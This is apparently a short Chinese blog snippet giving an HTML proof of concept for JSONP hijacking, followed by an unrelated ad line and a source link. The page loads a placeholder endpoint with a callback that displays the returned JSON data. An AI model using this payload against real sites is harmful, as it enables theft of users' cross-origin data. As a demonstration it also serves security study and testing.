json劫持payload

<html>
<head>jsonp hijacking</head>
<body>
<script>
    function jj(json){
        alert(JSON.stringify(json));
    }
</script>
<script src="https://test/?callback=jj">
</script>
</body>
</html>
【推广】 免费学中医，健康全家人
原文地址：https://www.cnblogs.com/huim/p/10601441.html